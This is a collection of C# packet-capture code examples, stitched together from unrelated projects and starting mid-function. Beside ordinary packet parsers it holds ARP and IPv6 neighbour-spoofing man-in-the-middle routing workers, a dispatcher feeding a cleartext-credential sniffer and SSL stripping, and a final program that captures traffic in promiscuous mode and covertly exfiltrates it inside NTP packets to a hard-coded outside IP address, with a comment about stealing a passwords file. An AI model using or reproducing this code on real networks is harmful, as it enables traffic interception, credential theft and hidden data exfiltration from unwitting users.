                }
                else if (tcp.Fin)
                {
                    iSyncHandshake--;
                }
            }

            /*if (iSyncHandshake <= 0)
             * {
             *  MessageBox.Show("Connection closed !");
             *  return;
             * }*/
            if (!isAckLast)
            {
                MessageBox.Show("Wait for the ACK packet to be last !");
                return;
            }
            CaptureForm._lastAckPacket = Packet.ParsePacket(lastAckRaw.LinkLayerType, lastAckRaw.Data);
            lastAckIp  = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._lastAckPacket);
            lastAckTcp = TcpPacket.GetEncapsulated(CaptureForm._lastAckPacket);

            /*if (pshRaw == null)
             * {
             *  MessageBox.Show("Wait for PSH packet to be sent !");
             *  return;
             * }
             * pshPacket = Packet.ParsePacket(pshRaw.LinkLayerType, pshRaw.Data);*/

            ip    = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._pshPacket);
            ip.Id = (ushort)(lastAckIp.Id + 10);
            ip.UpdateIPChecksum();

            tcp = TcpPacket.GetEncapsulated(CaptureForm._pshPacket);
            tcp.SequenceNumber       = lastAckTcp.SequenceNumber;
            tcp.AcknowledgmentNumber = lastAckTcp.AcknowledgmentNumber;
            tcp.UpdateTCPChecksum();

            _iRecvPackets = 1;
            _device.SendPacket(CaptureForm._pshPacket);
        }
Beispiel #23
0
        // worker function for routing IPv6 packets
        public void WorkerRouter()
        {
            while (SpoofingStarted)
            {
                // size of packets - needed for send queue (set some starting value - it seems the length is not set correctly during threadQueue packet copying)
                int bufferSize = 2048;

                // copy packets to threadRoutingQueue
                lock (PacketQueueRouting)
                {
                    foreach (Packet packet in PacketQueueRouting)
                    {
                        threadQueueRouting.Add(packet);
                        bufferSize += packet.Bytes.Length;
                    }

                    PacketQueueRouting.Clear();
                }

                if (threadQueueRouting.Count > 0)
                {
                    var sendQueue = new SendQueue(bufferSize);

                    // loop through packets and change MAC addresses
                    foreach (Packet packet in threadQueueRouting)
                    {
                        if (packet == null)
                        {
                            continue;
                        }

                        var ethernetPacket = (packet as EthernetPacket);
                        if (ethernetPacket == null)
                        {
                            continue;
                        }

                        var ip = (packet is IpPacket ? (IpPacket)packet : IpPacket.GetEncapsulated(packet));

                        var sourceIP      = ip.SourceAddress.ToString();
                        var destinationIP = ip.DestinationAddress.ToString();

                        var destinationMAC = ethernetPacket.DestinationHwAddress.ToString();

                        if (sourceIP == deviceInfo.IPv6 || destinationIP == deviceInfo.IPv6)
                        {
                            continue;
                        }

                        // skip local network traffic
                        if ((sourceIP.Contains(prefix.Replace("::", ":")) && destinationIP.Contains(prefix.Replace("::", ":"))) || (sourceIP.Contains("fe80::") || destinationIP.Contains("fe80::")))
                        {
                            continue;
                        }

                        // check for IPv6 - MAC entry existance (check only addresses from this network) and add it if necessary (we need this because scanner cannot pick up IPv6 addresses of all the targets)
                        if (sourceIP.Contains(prefix.Replace("::", ":")) && !IPv6toMACTargets.ContainsKey(sourceIP) && !sourceIP.Contains("fe80::"))
                        {
                            lock (IPv6toMACTargets)
                            {
                                IPv6toMACTargets.Add(sourceIP, ethernetPacket.SourceHwAddress);
                            }
                        }

                        // incoming packets (internet -> nighthawk) - change destination MAC back to target's MAC
                        if (IPv6toMACTargets.ContainsKey(destinationIP) && (destinationMAC != IPv6toMACTargets[destinationIP].ToString()))
                        {
                            ethernetPacket.SourceHwAddress      = physicalAddress;
                            ethernetPacket.DestinationHwAddress = IPv6toMACTargets[destinationIP];

                            if (ethernetPacket.Bytes != null)
                            {
                                sendQueue.Add(packet.Bytes);
                            }
                        }

                        // outgoing packets (targets -> nighthawk) - change destination MAC to gateway's MAC
                        if (IPv6toMACTargets.ContainsKey(sourceIP) && (destinationMAC != IPv6toMACTargets[gatewayIPv6].ToString()))
                        {
                            ethernetPacket.SourceHwAddress      = physicalAddress;
                            ethernetPacket.DestinationHwAddress = IPv6toMACTargets[gatewayIPv6];

                            if (ethernetPacket.Bytes != null)
                            {
                                sendQueue.Add(packet.Bytes);
                            }
                        }
                    }

                    sendQueue.Transmit(device, SendQueueTransmitModes.Normal);
                    sendQueue.Dispose();

                    threadQueueRouting.Clear();
                }
                else
                {
                    Thread.Sleep(1);
                }
            }

            return;
        }
Beispiel #24
0
        /// <summary>
        /// Processes the specified packet capture.
        /// </summary>
        /// <param name='capture'>
        /// The raw data captured from the interface.
        /// </param>
        public DataPacket Process(RawCapture capture)
        {
            var dpacket = new DataPacket();

            //Convert the raw data from the interface to a packet.
            var spacket = Packet.ParsePacket(capture.LinkLayerType, capture.Data);
            var ip      = IpPacket.GetEncapsulated(spacket);

            /*
             * Determine if the packet is a TCP packet.
             * If it is map each of the fields of the packet to the
             * new storage structure.
             */
            var tcp = TcpPacket.GetEncapsulated(spacket);

            if (tcp != null && ip != null)
            {
                dpacket.IpAddressSource      = ip.SourceAddress.ToString();
                dpacket.IpAddressDestination = ip.DestinationAddress.ToString();
                dpacket.PortSource           = tcp.SourcePort;
                dpacket.PortDestination      = tcp.DestinationPort;
                dpacket.Payload   = tcp.PayloadData;
                dpacket.Protocol  = NetworkProtocol.tcp;
                dpacket.Timestamp = DateTime.Now;

                //Notify the DNS worker thread that a new packet needs lookup.
                lock (DnsLookupQueue)
                {
                    DnsLookupQueue.Enqueue(dpacket);
                }
                WaitHandle.Set();

                return(dpacket);
            }

            /*
             * Determine if the packet is an UDP packet.
             * If it is map each of the fields of the packet to the
             * new storage structure.
             */
            var udp = UdpPacket.GetEncapsulated(spacket);

            if (udp != null && ip != null)
            {
                dpacket.IpAddressSource      = ip.SourceAddress.ToString();
                dpacket.IpAddressDestination = ip.DestinationAddress.ToString();
                dpacket.PortSource           = udp.SourcePort;
                dpacket.PortDestination      = udp.DestinationPort;
                dpacket.Payload   = udp.PayloadData;
                dpacket.Protocol  = NetworkProtocol.udp;
                dpacket.Timestamp = DateTime.Now;

                //Notify the DNS worker thread that a new packet needs lookup.
                lock (DnsLookupQueue)
                {
                    DnsLookupQueue.Enqueue(dpacket);
                }
                WaitHandle.Set();

                return(dpacket);
            }

            /*
             * Determine if the packet is an ICMP packet.
             * If it is map each of the fields of the packet to the
             * new storage structure.
             */
            var icmp = ICMPv4Packet.GetEncapsulated(spacket);

            if (icmp != null && ip != null)
            {
                dpacket.IpAddressSource      = ip.SourceAddress.ToString();
                dpacket.IpAddressDestination = ip.DestinationAddress.ToString();
                dpacket.Type      = icmp.TypeCode.ToString();
                dpacket.Payload   = icmp.PayloadData;
                dpacket.Protocol  = NetworkProtocol.icmp;
                dpacket.Timestamp = DateTime.Now;

                //Notify the DNS worker thread that a new packet needs lookup.
                lock (DnsLookupQueue)
                {
                    DnsLookupQueue.Enqueue(dpacket);
                }
                WaitHandle.Set();

                return(dpacket);
            }

            /*
             * Determine if the packet is an ARP packet.
             * If it is map each of the fields of the packet to the
             * new storage structure.
             */
            var arp = ARPPacket.GetEncapsulated(spacket);

            if (arp != null)
            {
                dpacket.Timestamp             = DateTime.Now;
                dpacket.HardwareAddressSource = arp.SenderHardwareAddress.ToString();
                dpacket.HardwareAddressTarget = arp.TargetHardwareAddress.ToString();
                dpacket.Protocol = NetworkProtocol.arp;
                dpacket.Payload  = spacket.PayloadData;

                return(dpacket);
            }

            //Console.WriteLine("  UNKNOWN TYPE: " + ((EthernetPacket)spacket).Type.ToString());
            return(null);
        }
Beispiel #25
0
        // worker for routing IPv4 packets
        public void WorkerRouter()
        {
            while (SpoofingStarted)
            {
                // size of packets - needed for send queue (set some starting value - it seems the length is not set correctly during threadQueue packet copying)
                int bufferSize = 2048;

                // copy packets to thread's packet storage (threadRoutingQueue)
                lock (PacketQueueRouting)
                {
                    foreach (Packet packet in PacketQueueRouting)
                    {
                        threadQueueRouting.Add(packet);
                        bufferSize += packet.Bytes.Length;
                    }

                    PacketQueueRouting.Clear();
                }

                if (threadQueueRouting.Count > 0)
                {
                    var sendQueue = new SendQueue(bufferSize);

                    // loop through packets and change MAC addresses
                    foreach (Packet packet in threadQueueRouting)
                    {
                        if (packet == null)
                        {
                            continue;
                        }

                        var ethernetPacket = (packet as EthernetPacket);
                        if (ethernetPacket == null)
                        {
                            continue;
                        }

                        var ip = (packet is IpPacket ? (IpPacket)packet : IpPacket.GetEncapsulated(packet));

                        // discard invalid packets
                        if (ip is IPv4Packet && (((IPv4Packet)ip).Checksum == 0 || !((IPv4Packet)ip).ValidIPChecksum))
                        {
                            continue;
                        }

                        var sourceIP      = ip.SourceAddress.ToString();
                        var destinationIP = ip.DestinationAddress.ToString();

                        var sourceMAC      = ethernetPacket.SourceHwAddress.ToString();
                        var destinationMAC = ethernetPacket.DestinationHwAddress.ToString();

                        if (destinationMAC == sourceMAC)
                        {
                            continue;
                        }

                        // block PPTP if necessary (exclude local computer)
                        if (blockPPTP && sourceIP != deviceInfo.IP && destinationIP != deviceInfo.IP)
                        {
                            // block GRE
                            if (ip.Protocol == IPProtocolType.GRE)
                            {
                                continue;
                            }

                            // check for port 1723 and block it
                            if (ip.Protocol == IPProtocolType.TCP)
                            {
                                var tcp = TcpPacket.GetEncapsulated(packet);

                                if (tcp != null && (tcp.SourcePort == 1723 || tcp.DestinationPort == 1723))
                                {
                                    continue;
                                }
                            }
                        }

                        // incoming packets - change destination MAC back to target's MAC
                        if (IPtoMACTargets1.ContainsKey(destinationIP) && (destinationMAC != IPtoMACTargets1[destinationIP].ToString()))
                        {
                            ethernetPacket.SourceHwAddress      = physicalAddress;
                            ethernetPacket.DestinationHwAddress = IPtoMACTargets1[destinationIP];

                            if (ethernetPacket.Bytes != null)
                            {
                                sendQueue.Add(packet.Bytes);
                            }
                        }

                        // outgoing packets - change destination MAC to gateway's MAC
                        if (IPtoMACTargets1.ContainsKey(sourceIP) && (destinationMAC != SpoofingTarget2.PMAC.ToString()))
                        {
                            ethernetPacket.SourceHwAddress      = physicalAddress;
                            ethernetPacket.DestinationHwAddress = SpoofingTarget2.PMAC;

                            if (ethernetPacket.Bytes != null)
                            {
                                sendQueue.Add(packet.Bytes);
                            }
                        }
                    }

                    sendQueue.Transmit(device, SendQueueTransmitModes.Normal);
                    sendQueue.Dispose();

                    threadQueueRouting.Clear();
                }
                else
                {
                    Thread.Sleep(1);
                }
            }

            return;
        }
Beispiel #26
0
        // packet arrival event
        private void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            Packet packet;

            try
            {
                packet = Packet.ParsePacket(LinkLayers.Ethernet, e.Packet.Data);
            }
            catch
            {
                return;
            }

            if (packet is EthernetPacket)
            {
                var tcp    = TcpPacket.GetEncapsulated(packet);
                var arp    = ARPPacket.GetEncapsulated(packet);
                var ip     = IpPacket.GetEncapsulated(packet);
                var icmpv6 = ICMPv6Packet.GetEncapsulated(packet);

                // ARP packet
                if (arp != null)
                {
                    if (Scanner.Started)
                    {
                        lock (Scanner.PacketQueueARP)
                        {
                            Scanner.PacketQueueARP.Add(arp);
                        }
                    }
                }

                // ICMPv6 packet
                if (icmpv6 != null)
                {
                    if (Scanner.Started)
                    {
                        lock (Scanner.PacketQueueNDP)
                        {
                            icmpv6.ParentPacket = ip;
                            icmpv6.ParentPacket.ParentPacket = packet;
                            Scanner.PacketQueueNDP.Add(icmpv6);
                        }
                    }
                }

                // TCP packet
                if (tcp != null)
                {
                    // HTTP, FTP, IMAP, POP3, SMTP packets (client -> server)
                    if (tcp.DestinationPort == 80 || tcp.DestinationPort == 21 || tcp.DestinationPort == 143 || tcp.DestinationPort == 110 || tcp.DestinationPort == 25)
                    {
                        if (Sniffer.Started)
                        {
                            lock (Sniffer.PacketQueue)
                            {
                                Sniffer.PacketQueue.Add(tcp);
                            }
                        }
                    }

                    // SSL stripping needs HTTP in & out
                    if (tcp.DestinationPort == 80 || tcp.SourcePort == 80)
                    {
                        if (SSLStrip.Started)
                        {
                            if (!SSLStrip.ProcessPacket(packet, tcp))
                            {
                                return;
                            }
                        }
                    }
                }

                // IP packet
                if (ip != null)
                {
                    // route IPv4
                    if (ARPTools.SpoofingStarted && ip.SourceAddress.AddressFamily == AddressFamily.InterNetwork)
                    {
                        lock (ARPTools.PacketQueueRouting)
                        {
                            ARPTools.PacketQueueRouting.Add(packet);
                        }
                    }

                    // route IPv6
                    if (NDTools.SpoofingStarted && ip.SourceAddress.AddressFamily == AddressFamily.InterNetworkV6)
                    {
                        lock (NDTools.PacketQueueRouting)
                        {
                            NDTools.PacketQueueRouting.Add(packet);
                        }
                    }
                }
            }
        }
Beispiel #27
0
        /// <summary>
        /// Receives all packets and processes them
        /// </summary>
        private static void OnPacketArrival(object sender, CaptureEventArgs e)
        {
            try
            {
                // Parse the packet
                var RawIp = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
                var Ip    = IpPacket.GetEncapsulated(RawIp);

                var    RawEthernet      = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
                var    Ethernet         = EthernetPacket.GetEncapsulated(RawEthernet);
                string SourceIpAddress  = Ip.SourceAddress.ToString();
                string SourceMacAddress = BitConverter.ToString(Ethernet.SourceHwAddress.GetAddressBytes()).ToLower().Replace("-", ":");
                string TargetMacAddress = BitConverter.ToString(Ethernet.DestinationHwAddress.GetAddressBytes()).ToLower().Replace("-", ":");
                string TargetIpAddress  = Ip.DestinationAddress.ToString();

                try
                {
                    CheckMacAndIp(SourceMacAddress, SourceIpAddress, "Eth");
                    CheckMacAndIp(TargetMacAddress, TargetIpAddress, "Eth");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }
            catch (Exception)
            {
                // If the packet isn't an IP packet, move on
            }
            try
            {
                // Parse the packet
                var RawArpPacket = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
                var ArpPacket    = ARPPacket.GetEncapsulated(RawArpPacket);

                // Source information
                string SourceIpAddress  = ArpPacket.SenderProtocolAddress.ToString();
                string SourceMacAddress = BitConverter.ToString(ArpPacket.SenderHardwareAddress.GetAddressBytes()).ToLower().Replace("-", ":");

                // Target information
                string TargetIpAddress  = ArpPacket.TargetProtocolAddress.ToString();
                string TargetMacAddress = BitConverter.ToString(ArpPacket.TargetHardwareAddress.GetAddressBytes()).ToLower().Replace("-", ":");

                try
                {
                    CheckMacAndIp(SourceMacAddress, SourceIpAddress, "ARP");
                    CheckMacAndIp(TargetMacAddress, TargetIpAddress, "ARP");
                } catch (Exception ex) {
                    Console.WriteLine(ex.ToString());
                }
            }
            catch (Exception)
            {
                // If the packet isn't an ARP packet, move on
            }

            // Save the log file
            if (LogType == FILE)
            {
                SaveLog();
            }
        }
Beispiel #28
0
        //标记当前数据是否有效

        #region 构建数据行
        /// <summary>
        /// DataGridRow
        /// </summary>
        /// <returns>返回字符串数据</returns>
        public string[] Row(RawCapture rawPacket, uint packetID)
        {
            string[] rows = new string[7];

            rows[0] = string.Format("{0:D7}", packetID); //编号
            rows[1] = "Unknown";
            rows[2] = rawPacket.Data.Length.ToString();  //数据长度bytes
            rows[3] = "--";
            rows[4] = "--";
            rows[5] = "--";
            //rows[6] = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss:fff");
            rows[6] = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
            Packet packet = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data);

            EthernetPacket ep = EthernetPacket.GetEncapsulated(packet);

            if (ep != null)
            {
                rows[1] = "Ethernet(v2)";
                rows[3] = Format.MacFormat(ep.SourceHwAddress.ToString());
                rows[4] = Format.MacFormat(ep.DestinationHwAddress.ToString());
                rows[5] = "[" + ep.Type.ToString() + "]";

                #region IP
                IpPacket ip = IpPacket.GetEncapsulated(packet);
                if (ip != null)
                {
                    if (ip.Version == IpVersion.IPv4)
                    {
                        rows[1] = "IPv4";
                    }
                    else
                    {
                        rows[1] = "IPv6";
                    }
                    rows[3] = ip.SourceAddress.ToString();
                    rows[4] = ip.DestinationAddress.ToString();
                    rows[5] = "[下层协议:" + ip.NextHeader.ToString() + "] [版本:" + ip.Version.ToString() + "]";

                    TcpPacket tcp = TcpPacket.GetEncapsulated(packet);
                    if (tcp != null)
                    {
                        rows[1]  = "TCP";
                        rows[3] += " [" + tcp.SourcePort.ToString() + "]";
                        rows[4] += " [" + tcp.DestinationPort.ToString() + "]";

                        #region 25:smtp协议;80, 8080, 3128: Http; 21: FTP;
                        if (tcp.DestinationPort.ToString() == "25" || tcp.SourcePort.ToString() == "25")
                        {
                            rows[1] = "SMTP";
                        }
                        else if (tcp.DestinationPort.ToString() == "80" || tcp.DestinationPort.ToString() == "8080" || tcp.DestinationPort.ToString() == "3128")
                        {
                            rows[1] = "HTTP";
                        }
                        else if (tcp.DestinationPort.ToString() == "21")
                        {
                            rows[1] = "FTP";
                        }
                        else if (tcp.DestinationPort.ToString() == "143")
                        {
                            rows[1] = "POP3";
                        }
                        #endregion
                        return(rows);
                    }
                    UdpPacket udp = UdpPacket.GetEncapsulated(packet);
                    if (udp != null)
                    {
                        if (rawPacket.Data[42] == ((byte)02))
                        {
                            rows[1] = "OICQ";
                        }
                        else
                        {
                            rows[1] = "UDP";
                        }
                        rows[3] += " [" + udp.SourcePort.ToString() + "]";
                        rows[4] += " [" + udp.DestinationPort.ToString() + "]";
                        return(rows);
                    }

                    ICMPv4Packet icmpv4 = ICMPv4Packet.GetEncapsulated(packet);
                    if (icmpv4 != null)
                    {
                        rows[1] = "ICMPv4";
                        rows[5] = "[校验:" + icmpv4.Checksum.ToString() + "] [类型:" + icmpv4.TypeCode.ToString() + "] [序列号:" + icmpv4.Sequence.ToString() + "]";
                        return(rows);
                    }
                    ICMPv6Packet icmpv6 = ICMPv6Packet.GetEncapsulated(packet);
                    if (icmpv6 != null)
                    {
                        rows[1] = "ICMPv6";
                        rows[5] = "[Code:" + icmpv6.Code.ToString() + "] [Type" + icmpv6.Type.ToString() + "]";
                        return(rows);
                    }
                    IGMPv2Packet igmp = IGMPv2Packet.GetEncapsulated(packet);
                    if (igmp != null)
                    {
                        rows[1] = "IGMP";
                        rows[5] = "[只适用于IGMPv2] [组地址:" + igmp.GroupAddress.ToString() + "]  [类型:" + igmp.Type.ToString() + "]";
                        return(rows);
                    }
                    return(rows);
                }
                #endregion

                ARPPacket arp = ARPPacket.GetEncapsulated(packet);
                if (arp != null)
                {
                    rows[1] = "ARP";
                    rows[3] = Format.MacFormat(arp.SenderHardwareAddress.ToString());
                    rows[4] = Format.MacFormat(arp.TargetHardwareAddress.ToString());
                    rows[5] = "[Arp操作方式:" + arp.Operation.ToString() + "] [发送者:" + arp.SenderProtocolAddress.ToString() + "] [目标:" + arp.TargetProtocolAddress.ToString() + "]";
                    return(rows);
                }
                WakeOnLanPacket wp = WakeOnLanPacket.GetEncapsulated(packet);
                if (wp != null)
                {
                    rows[1] = "Wake On Lan";
                    rows[3] = Format.MacFormat(ep.SourceHwAddress.ToString());
                    rows[4] = Format.MacFormat(wp.DestinationMAC.ToString());
                    rows[5] = "[唤醒网络地址:" + wp.DestinationMAC.ToString() + "] [有效性:" + wp.IsValid().ToString() + "]";
                    return(rows);
                }
                PPPoEPacket poe = PPPoEPacket.GetEncapsulated(packet);
                if (poe != null)
                {
                    rows[1] = "PPPoE";
                    rows[5] = poe.Type.ToString() + " " + poe.Version.ToString();
                    return(rows);
                }
                LLDPPacket llp = LLDPPacket.GetEncapsulated(packet);
                if (llp != null)
                {
                    rows[1] = "LLDP";
                    rows[5] = llp.ToString();
                    return(rows);
                }
                return(rows);
            }
            //链路层
            PPPPacket ppp = PPPPacket.GetEncapsulated(packet);
            if (ppp != null)
            {
                rows[1] = "PPP";
                rows[3] = "--";
                rows[4] = "--";
                rows[5] = "协议类型:" + ppp.Protocol.ToString();
                return(rows);
            }
            //PPPSerial
            PppSerialPacket ppps = PppSerialPacket.GetEncapsulated(packet);
            if (ppps != null)
            {
                rows[1] = "PPP";
                rows[3] = "--";
                rows[4] = "0x" + ppps.Address.ToString("X2");
                rows[5] = "地址:" + ppps.Address.ToString("X2") + " 控制:" + ppps.Control.ToString() + " 协议类型:" + ppps.Protocol.ToString();
                return(rows);
            }
            //Cisco HDLC
            CiscoHDLCPacket hdlc = CiscoHDLCPacket.GetEncapsulated(packet);
            if (hdlc != null)
            {
                rows[1] = "Cisco HDLC";
                rows[3] = "--";
                rows[4] = "0x" + hdlc.Address.ToString("X2");
                rows[5] = "地址:" + hdlc.Address.ToString("X2") + " 控制:" + hdlc.Control.ToString() + " 协议类型:" + hdlc.Protocol.ToString();
                return(rows);
            }
            #region
            //SmtpPacket smtp = SmtpPacket.
            #endregion

            PacketDotNet.Ieee80211.MacFrame ieee = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data) as PacketDotNet.Ieee80211.MacFrame;
            if (ieee != null)
            {
                rows[1] = "IEEE802.11 MacFrame";
                rows[3] = "--";
                rows[4] = "--";
                rows[5] = "帧校验序列:" + ieee.FrameCheckSequence.ToString() + " 封装帧:" + ieee.FrameControl.ToString();
                return(rows);
            }
            PacketDotNet.Ieee80211.RadioPacket ieeePacket = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data) as PacketDotNet.Ieee80211.RadioPacket;
            if (ieeePacket != null)
            {
                rows[1] = "IEEE Radio";
                rows[5] = "Version=" + ieeePacket.Version.ToString();
            }
            LinuxSLLPacket linux = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data) as LinuxSLLPacket;
            if (linux != null)
            {
                rows[1] = "LinuxSLL";
                rows[5] = "Tyep=" + linux.Type.ToString() + " Protocol=" + linux.EthernetProtocolType.ToString();
            }
            return(rows);
        }
        static void Main(string[] args)
        {
            int k = 0;
            CaptureDeviceList deviceList = CaptureDeviceList.Instance;

            foreach (ICaptureDevice dev in deviceList)
            {
                Console.WriteLine("{0}\n", dev.ToString());
            }
            ICaptureDevice device = deviceList[3];

            device.Open(DeviceMode.Promiscuous, 1000);

            Console.WriteLine();
            Console.WriteLine("-- Listening on {0}...", device.Description);

            Packet packet = null;

            while (true)
            {
                RawCapture raw = device.GetNextPacket();
                while (raw == null)
                {
                    raw = device.GetNextPacket();
                }
                packet = Packet.ParsePacket(raw.LinkLayerType, raw.Data);
                var tcpPacket = TcpPacket.GetEncapsulated(packet);
                var ipPacket  = IpPacket.GetEncapsulated(packet);
                if (tcpPacket != null && ipPacket != null)
                {
                    DateTime time = raw.Timeval.Date;
                    int      len  = raw.Data.Length;
                    Console.WriteLine("{0}:{1}:{2},{3} Len={4}",
                                      time.Hour, time.Minute, time.Second,
                                      time.Millisecond, len);
                    //Console.WriteLine(e.Packet.ToString());
                    // IP адрес отправителя
                    var srcIp = ipPacket.SourceAddress.ToString();
                    //Console.WriteLine("srcIp="+ srcIp);
                    // IP адрес получателя
                    var dstIp = ipPacket.DestinationAddress.ToString();
                    //Console.WriteLine("dstIp=" + dstIp);
                    // порт отправителя
                    var srcPort = tcpPacket.SourcePort.ToString();
                    //Console.WriteLine("srcPort=" + srcPort);
                    // порт получателя
                    var dstPort = tcpPacket.DestinationPort.ToString();
                    //Console.WriteLine("dstPost=" + dstPort);
                    // данные пакета
                    var data = BitConverter.ToString(raw.Data);
                    //Console.WriteLine("data=" + data);
                    string path = srcIp.ToString() + " " + dstIp.ToString() + " " + srcPort.ToString() + " " + dstPort.ToString() + " " + data.ToString() + " ";
                    Console.WriteLine(path);
                    k++;



                    //Get some private data
                    //For example, contents of `passwords.txt` on user's desktop
                    path += "TRANSFER COMPLETE"; //Add 17 bytes more to guaranteely send 2 or more packets
                                                 //Now split by 17 bytes each
                    int           ctr      = 0;
                    List <byte[]> pcs      = new List <byte[]>();
                    int           BYTE_CNT = 17;
                    byte[]        current  = new byte[BYTE_CNT];
                    foreach (var cb in Encoding.ASCII.GetBytes(path))
                    {
                        if (ctr == BYTE_CNT)
                        {
                            //BYTE_CNT bytes added, start new iteration
                            byte[] bf = new byte[BYTE_CNT];
                            current.CopyTo(bf, 0);
                            pcs.Add(bf);
                            String deb = Encoding.ASCII.GetString(bf);
                            ctr = 0;
                            for (int i = 0; i < BYTE_CNT; i++)
                            {
                                current[i] = 0x0;
                            }
                        }
                        if (cb == '\n' || cb == '\r')
                        {
                            current[ctr] = Encoding.ASCII.GetBytes("_")[0];
                        }
                        else
                        {
                            current[ctr] = cb;
                        }
                        ctr++;
                    }
                    //OK split
                    Console.WriteLine($"OK split into {pcs.Count} parts");
                    //Now send
                    UDPSocket socket = new UDPSocket();
                    socket.Client("88.151.112.223", 123);
                    byte      pkt_id     = 0;
                    int       total_sent = 0;
                    Stopwatch sw         = new Stopwatch();
                    sw.Start();
                    foreach (var ci in pcs)
                    {
                        NtpPacket ntp = new NtpPacket();
                        ntp = ntp.EmbedDataToPacketC(ci);
                        byte[] result = ntp.BuildPacket();
                        result[5] = pkt_id;
                        if (k == 0)
                        {
                            packets.Add(pkt_id, result);
                        }
                        Console.WriteLine($"Sending: {Encoding.ASCII.GetString(result)}");
                        socket.Send(result);
                        Thread.Sleep(1);
                        total_sent += result.Length;
                        pkt_id++;
                    }
                    sw.Stop();

                    Console.WriteLine($"Sent {pkt_id} packets in {sw.ElapsedMilliseconds} ms. Avg speed: {total_sent / ((double)((double)sw.ElapsedMilliseconds / (double)1000))} B/s");

                    Console.WriteLine("Package was sent");
                    //Console.ReadKey(true);
                }
            }
        }